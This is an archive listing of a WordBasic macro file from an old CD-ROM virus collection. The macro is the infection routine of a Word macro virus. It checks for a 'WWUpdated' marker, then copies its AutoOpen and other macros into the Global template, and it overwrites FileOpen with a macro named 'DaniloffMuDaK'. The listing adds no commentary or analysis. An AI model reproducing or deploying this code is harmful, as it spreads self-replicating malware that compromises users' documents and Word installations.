home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / APPARITI.ZIP / AUTOOP.TXT < prev    next >
Text File  |  1997-01-16  |  375b  |  18 lines
  1. Macro: AutoOp
  2.  
  3. Sub MAIN
  4. On Error Goto fail
  5. hru = 0
  6. j = CountMacros(0, 0)
  7. For i = 1 To j
  8.  If MacroName$(i, 0, 0) = "WWUpdated" Then hru = 1
  9. Next i
  10.  
  11. If hru = 1 Then Goto fail
  12.  
  13. MacroCopy FileName$() + ":AutoOpen", "Global:AutoOp"
  14. MacroCopy FileName$() + ":WWUpdated", "Global:WWUpdated"
  15. MacroCopy FileName$() + ":DaniloffMuDaK", "Global:FileOpen"
  16. fail:
  17. End Sub
  18.